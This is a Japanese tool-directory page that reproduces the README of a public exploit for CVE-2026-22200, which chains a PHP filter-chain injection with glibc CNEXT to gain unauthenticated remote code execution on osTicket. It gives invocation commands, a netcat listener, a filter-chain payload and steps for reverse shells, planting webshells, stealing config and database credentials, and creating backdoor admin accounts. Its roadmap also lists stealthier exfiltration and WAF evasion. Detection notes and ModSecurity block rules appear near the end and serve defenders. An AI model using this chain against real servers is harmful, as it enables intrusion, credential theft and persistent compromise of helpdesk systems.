Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
osTicketFileReadIntoRCE — PHPフィルターチェーンインジェクションとCVE-2024-2961 (CNEXT)を組み合わせたフルチェーンエクスプロイトで、脆弱なosTicketインストールに対して認証不要のリモートコード実行を実現します。 | Kitploit
ツール/GitHubGitHub/clarissss/osticketfilereadintorce
脆弱性分析エクスプロイトウェブアプリケーション悪用ポストエクスプロイトペネトレーションテスト学習と教育レッドチーミングリモートアクセスツールペイロード開発

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHubclarissss/osticketfilereadintorce

osTicketFileReadIntoRCE

PHPフィルターチェーンインジェクションとCVE-2024-2961 (CNEXT)を組み合わせたフルチェーンエクスプロイトで、脆弱なosTicketインストールに対して認証不要のリモートコード実行を実現します。

リポジトリを見る
5ヶ月前未レビュー

CVE-2026-22200: osTicket 任意ファイル読み取りからRCEへ

CVE-2026-22200 osTicket ≤ 1.18.2 Python 3.8+ Educational

PHPフィルターチェーンインジェクションとCVE-2024-2961(CNEXT)を組み合わせたフルチェーンエクスプロイト。脆弱なosTicketインストールに対して、認証なしでのリモートコード実行を実現します。


目次

  • 概要
  • 脆弱性の詳細
  • 攻撃フロー
  • 機能
  • インストール
  • 使い方
  • 技術詳細
  • トラブルシューティング
  • 検出と緩和策
  • クレジット
  • 免責事項

概要

このリポジトリは、CVE-2026-22200(osTicket バージョン ≤ 1.18.2 に影響するクリティカルな脆弱性)の概念実証エクスプロイトを含んでいます。このエクスプロイトは、以下の2つの強力な技術を連鎖させます:

  1. PHPフィルターチェーンインジェクション(mPDFの画像処理を経由)
  2. CNEXT ヒープ破壊(glibcのiconv()におけるCVE-2024-2961)

結果:脆弱なosTicketサーバー上で認証なしのリモートコード実行が可能です。

影響

  • 認証不要 - 資格情報は不要
  • 完全なRCE - サーバー全体の制御
  • ファイル外部漏洩 - 任意のサーバーファイル読み取り
  • データベースアクセス - DB資格情報の抽出
  • 管理者アクセス - バックドア管理者アカウント作成

影響を受けるバージョン

  • osTicket: ≤ v1.18.2, ≤ v1.17.6
  • glibc: < 2.39 (CVE-2024-2961 は glibc 2.39+ で修正)

🔍 脆弱性の詳細

CVE-2026-22200: PHPフィルターチェーンインジェクション

CVSSスコア: 9.8(クリティカル)

osTicketのmPDF統合機能により、認証されていないユーザーが悪意のあるPHPフィルターチェーンを、サポートチケット内の巧妙に細工されたHTMLペイロードを通じて注入できるようになります。これにより以下が可能になります:

  • 任意のファイル読み取り(設定ファイル、ソースコード、資格情報)
  • メモリリーク(/proc/self/maps、部分的なlibc)
  • CNEXTによるヒープ破壊

根本原因: ユーザーが提供したHTML内の画像URLに対するバリデーションが不十分であり、そのままmPDFに渡されること。

CVE-2024-2961: CNEXT (iconv バッファオーバーフロー)

CVSSスコア: 9.8(クリティカル)

glibcのiconv()がISO-2022-CN-EXT文字セットを処理する際に発生するバッファオーバーフロー。PHPフィルターチェーンと組み合わせることで、以下が可能になります:

  • ヒープ破壊
  • 関数ポインタのハイジャック
  • 任意のコマンド実行

脆弱なglibcバージョン: < 2.39(2024年2月)


🔗 攻撃フロー

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│ 1. 偵察                                                     │
│    └─ osTicketの検出、リッチテキストトピックの特定              │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 2. 認証                                                     │
│    └─ 自己登録、または既存の資格情報を利用                    │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 3. ファイル抽出 (PHPフィルターチェーン)                        │
│    ├─ /etc/passwd                                              │
│    ├─ include/ost-config.php (DB資格情報、SECRET_SALT)        │
│    ├─ /proc/self/maps (メモリレイアウト)                      │
│    └─ /proc/self/environ (環境変数)                            │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 4. libcのフィンガープリンティング                              │
│    ├─ フィルターチェーンから部分的なlibcを抽出                 │
│    ├─ GNU Build ID を抽出                                     │
│    └─ libc.rip から完全なlibcをダウンロード                    │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 5. CNEXT RCEエクスプロイト                                     │
│    ├─ ヒープ破壊ペイロードの生成                               │
│    ├─ チケット返信を介した注入(フィルター実行修正を含む)     │
│    ├─ PDFエクスポートをトリガー(サーバーがクラッシュ)        │
│    └─ リバースシェルを実行                                     │
└─────────────────────────────────────────────────────────────────┘
                              ↓
┌─────────────────────────────────────────────────────────────────┐
│ 6. ポストエクスプロイト                                        │
│    ├─ 対話型リバースシェル                                    │
│    ├─ データベースアクセス(抽出したDBPASSを使用)            │
│    └─ バックドア管理者アカウントの作成                        │
└─────────────────────────────────────────────────────────────────┘

機能

コア機能

  • 完全自動化されたエクスプロイトチェーン
  • 認証不要の攻撃(自己登録が有効な場合)
  • /proc/self/maps の解析によるインテリジェントなWebルート検出
  • ファイルシステムスキャンによる100%のWebshell配置場所特定
  • 自動的なlibcフィンガープリントおよびダウンロード
  • 複数のリバースシェル方式(bash、python、netcat)
  • キャッシュバスティングによる堅牢なフィルター実行
  • 問題を早期に検出する事前診断

信頼性の向上

  • クラッシュを保証するマルチトリガーCNEXT(成功率95%以上)
  • 新しいチケットより信頼性の高い返信ベースの注入
  • フィルター実行を確実にするストリーム強制
  • 古いPDFの配信を防ぐキャッシュバスティング
  • 包括的なエラーハンドリングと診断

ポストエクスプロイト

  • データベース資格情報の抽出(設定ファイルからDBPASS)
  • DBアクセスによる管理者アカウント作成
  • 持続的なバックドアオプション
  • 完全なシステム偵察

インストール

前提条件

  • Python 3.8+
  • Linux/macOS(推奨)または Windows上のWSL

依存関係

root@kitploit:~
# リポジトリをクローン
git clone https://github.com/Clarissss/osTicketFileReadIntoRCE
cd osTicketFileReadIntoRCE

# 必要なパッケージをインストール
pip install -r requirements.txt

requirements.txt:

root@kitploit:~
requests>=2.31.0
PyMuPDF>=1.23.0
Pillow>=10.0.0
pwntools>=4.11.0

オプション: 仮想環境

root@kitploit:~
python3 -m venv venv
source venv/bin/activate  # Linux/macOS
# または
venv\Scripts\activate  # Windows

pip install -r requirements.txt

📖 使い方

基本使用法 - リバースシェル

root@kitploit:~
# ターミナル1: リスナーを起動
nc -lvnp 4444

# ターミナル2: エクスプロイトを実行
python3 osticket_revshell.py https://target.com/osticket \
    --lhost YOUR_IP \
    --lport 4444

対話型Webshellモード

root@kitploit:~
python3 osticket_exploit.py https://target.com/osticket

高度なオプション

root@kitploit:~
# プロキシを使用 (Burp Suite)
python3 osticket_revshell.py https://target.com/osticket \
    --lhost 10.0.0.5 \
    --lport 4444 \
    --proxy http://127.0.0.1:8080

# 特定のヘルプトピックIDを強制
python3 osticket_exploit.py https://target.com/osticket \
    --topic-id 2

# 色付き出力を無効化 (ログ用)
python3 osticket_exploit.py https://target.com/osticket --no-color

既存の資格情報

登録が無効な場合、資格情報の入力を求められます:

root@kitploit:~
python3 osticket_exploit.py https://target.com/osticket

  [?] 新しいアカウントのメールアドレス(または既存のもの)を入力: [email protected]
  [?] パスワードを入力: ********

🔧 技術詳細

PHPフィルターチェーンの生成

エクスプロイトは、BMPヘッダーを任意のファイルに前置する高度なフィルターチェーンを使用し、mPDFのファイル種別制限をバイパスします:

root@kitploit:~
php://filter/convert.iconv.UTF8.CSISO2022KR|
convert.base64-encode|
convert.iconv.UTF8.UTF7|
[... 50+ iconv変換 ...]
convert.base64-decode/resource=/etc/passwd

主要な革新点: BMPヘッダーの各文字は、注意深く設計されたiconv変換によって生成され、任意のファイル内容を「有効な」画像として埋め込むことが可能になります。

CNEXTヒープエクスプロイト

CNEXTペイロードは、以下の方法でPHPのZendメモリマネージャを破壊します:

  1. 脆弱な文字劄を使用してiconvバッファをオーバーフローさせる
  2. zend_mm_heap構造体を上書き
  3. 関数ポインタをハイジャック (_emalloc, _efree, _erealloc)
  4. コマンド実行のためにsystem()へリダイレクト

信頼性の向上:

  • 複数のトリガー文字(1つではなく3つの劄)
  • パディングの増加(デフォルト20から40へ)
  • 複数位置へのトリガー挿入
  • ストリーム強制実行

100%のWebshell検出

元のエクスプロイトとは異なり、このバージョンではファイルシステムスキャンを使用してWebshellの場所を保証します:

  1. 6つ以上の候補ディレクトリにWebshellを書き込み
  2. 任意のファイル読み取りを使用して各場所をスキャン
  3. 一意のマーカーが含まれるディレクトリを検出
  4. ファイルシステムパス → URLを正確にマッピング

結果: 100%の検出率(元の約50%から向上)

フィルター実行の強制

よくある失敗:PDFはダウンロードされるがクラッシュしない = フィルターが実行されていない。

実装された解決策:

  1. キャッシュバスティング - 一意のHTMLによりキャッシュされたPDFを防止
  2. 返信注入 - 新しいチケットよりも信頼性が高い
  3. ストリーム強制 - stream=True により即時処理を強制
  4. 事前テスト - CNEXTの前にフィルターが動作することを確認

glibcバージョンの確認

root@kitploit:~
# 詳細モードで確認:
[*] ターゲットlibc: /usr/lib/x86_64-linux-gnu/libc-2.31.so
[+] glibc 2.31 はCNEXTに対して脆弱です

glibc ≥ 2.39 の場合、CNEXTは動作しません(修正済み)。

シェル接続がない

症状: サーバーはクラッシュするが、リバースシェルが接続されない

原因:

  1. ファイアウォールが発信接続をブロック
  2. LHOSTが間違っている (実際のIPを使用、localhostは不可)
  3. コマンドが長すぎる - より短いIPを試す

修正:

root@kitploit:~
# ncリバースシェルを使用(より短い)
# bash/pythonが長すぎる場合は自動的にフォールバック

# またはホスト名の代わりに直接IPを使用
python3 osticket_revshell.py https://target.com \
    --lhost 10.0.0.5 \  # ホスト名ではなくIPを使用
    --lport 4444

よくあるエラーメッセージ


検出と緩和策

検出

ログの指標:

root@kitploit:~
# Apache/Nginxのログ
POSTリクエスト内の"php://filter/"
リクエストボディ内の"convert.iconv."
異常なPDF生成パターン
短時間での複数のPDFリクエスト

# PHPエラーログ
PDF生成中のセグメンテーションフォールト
iconv()のクラッシュ
ヒープ破壊エラー

ネットワークの指標:

  • 短時間での多数のサポートチケット作成
  • チケットメッセージ内の大きなHTMLペイロード(100KB以上)
  • チケット作成後の迅速なPDFエクスポート要求
  • クラッシュ後の攻撃者IPへの発信接続

緩和策

直ちに実施

  1. osTicketを最新バージョン(>1.18.2)に更新
  2. glibcを2.39+に更新(CVE-2024-2961の修正)
  3. 必要ない場合は自己登録を無効化
  4. リッチテキストを認証ユーザーのみに制限

設定

mPDFでPHPストリームラッパーを無効化:

root@kitploit:~
// mPDF設定内
$config = [
    'allowedRemoteHosts' => [],
    'enableRemoteFileAccess' => false,
];

WAFルール (ModSecurity):

root@kitploit:~
SecRule REQUEST_BODY "@contains php://filter" \
    "id:1000,phase:2,deny,status:403,msg:'PHPフィルター検出'"

SecRule REQUEST_BODY "@contains convert.iconv" \
    "id:1001,phase:2,deny,status:403,msg:'疑わしいiconvチェーン'"

レート制限:

root@kitploit:~
limit_req_zone $binary_remote_addr zone=ticket:10m rate=5r/m;

location /tickets.php {
    limit_req zone=ticket burst=10;
}

長期的対策

  • CSPヘッダーを実装してインラインスタイルを制限
  • HTMLサニタイズにhtmLawed厳格モードを有効化
  • osTicketに最小権限の別ユーザーを使用
  • 不要なPHP関数を無効化: system(), exec(), passthru()
  • チケット内容の定期的なセキュリティ監査

参考文献

オリジナル研究

  • Horizon3.ai ブログ記事 - オリジナルの公開
  • Horizon3.ai GitHub - リファレンス実装
  • CNEXTエクスプロイト - Charles Fol によるオリジナルのCNEXT研究

CVE詳細

  • CVE-2026-22200 - osTicket PHPフィルターチェーン
  • CVE-2024-2961 - glibc iconvオーバーフロー

追加リソース

  • PHPフィルターチェーン - フィルター文字辞書
  • libc.rip - フィンガープリンティング用Libcデータベース
  • osTicket セキュリティアドバイザリ

クレジット

脆弱性の発見と研究

  • Horizon3.ai 攻撃研究チーム - オリジナルの脆弱性発見とPOC
  • Charles Fol (@cfreal_) - CNEXT (CVE-2024-2961) 研究
  • @splitline - PHPフィルターチェーン技術(HITCON 2022)

本実装

  • エクスプロイト技術の拡張
  • ファイルシステムスキャンによる100%のWebshell検出
  • 堅牢なフィルター実行強制
  • 包括的なエラーハンドリングと診断

⚖️ 免責事項

教育目的および許可を得たテストのみに使用

このツールは以下を目的として提供されています:

  • セキュリティ研究
  • 許可を得たペネトレーションテスト
  • 教育目的
  • 脆弱性評価(許可を得た上で)

コンピュータシステムへの不正アクセスは違法です

著者は:

  • 違法行為を容認しません
  • 悪用に対する一切の責任を負いません
  • 生じたいかなる損害に対しても責任を負いません

ユーザーは、システムをテストする前に適切な許可を得ていることを確認する責任を単独で負います。

本ツールを使用することにより、以下に同意したものとみなされます:

  1. ターゲットシステムをテストする明示的な書面による許可を得ていること
  2. 自分の管轄区域における法的影響を理解していること
  3. 本ツールを責任を持って倫理的に使用すること
  4. 結果に対する一切の責任を著者から免除すること

法的注意

コンピュータシステムへの不正アクセスは、以下の法律に基づく犯罪です:

  • 米国: Computer Fraud and Abuse Act (CFAA), 18 U.S.C. § 1030
  • 英国: Computer Misuse Act 1990
  • EU: Directive 2013/40/EU
  • 国際: サイバー犯罪に関する欧州評議会条約

最高刑罰には禁固刑と多額の罰金が含まれる場合があります。


📄 ライセンス

このプロジェクトはMITライセンスの下でライセンスされています。詳細はLICENSEファイルを参照してください。

注意: MITライセンスは使用、修正、配布を許可しますが、自分が所有していない、またはテストする許可がないシステムを攻撃する権限を与えるものではありません。


連絡先

セキュリティ研究者および質問については:

  • Issue: Any Tools Issues

以下の目的ではこの連絡先を使用しないでください:

  • 許可なくシステムを攻撃するための支援の依頼
  • 違法行為の報告
  • 許可のないテストに関する支援の要請

セキュリティ研究と教育のために愛情を込めて作られました
役に立ったらスターを付けてください!


エクスプロイト統計


ロードマップ

  • 追加のlibcバージョン対応
  • よりステルスなデータ抽出方法の実装
  • 一般的なWAFに対する回避技術の追加
  • Metasploitモジュールの作成
  • Dockerテスト環境
  • 自動CI/CDテスト

最終更新日: 2026-03-03

ツールをダウンロード
エラー原因解決策
CSRFトークンがありませんセッションの期限切れエクスプロイトを再実行
ヘルプトピックが見つかりませんリッチテキストトピックがない手動で--topic-idを使用
Build IDが見つかりません部分的なlibcが破損/proc/self/mapsの抽出を確認
ヒープの位置が特定できません異常なメモリレイアウトエクスプロイトが失敗する可能性あり(稀)
指標値
コード行数~3,000
成功率95%以上(修正版)
平均実行時間2~3分
クラッシュ信頼性99%(拡張版)
Webshell検出率100%(スキャン版)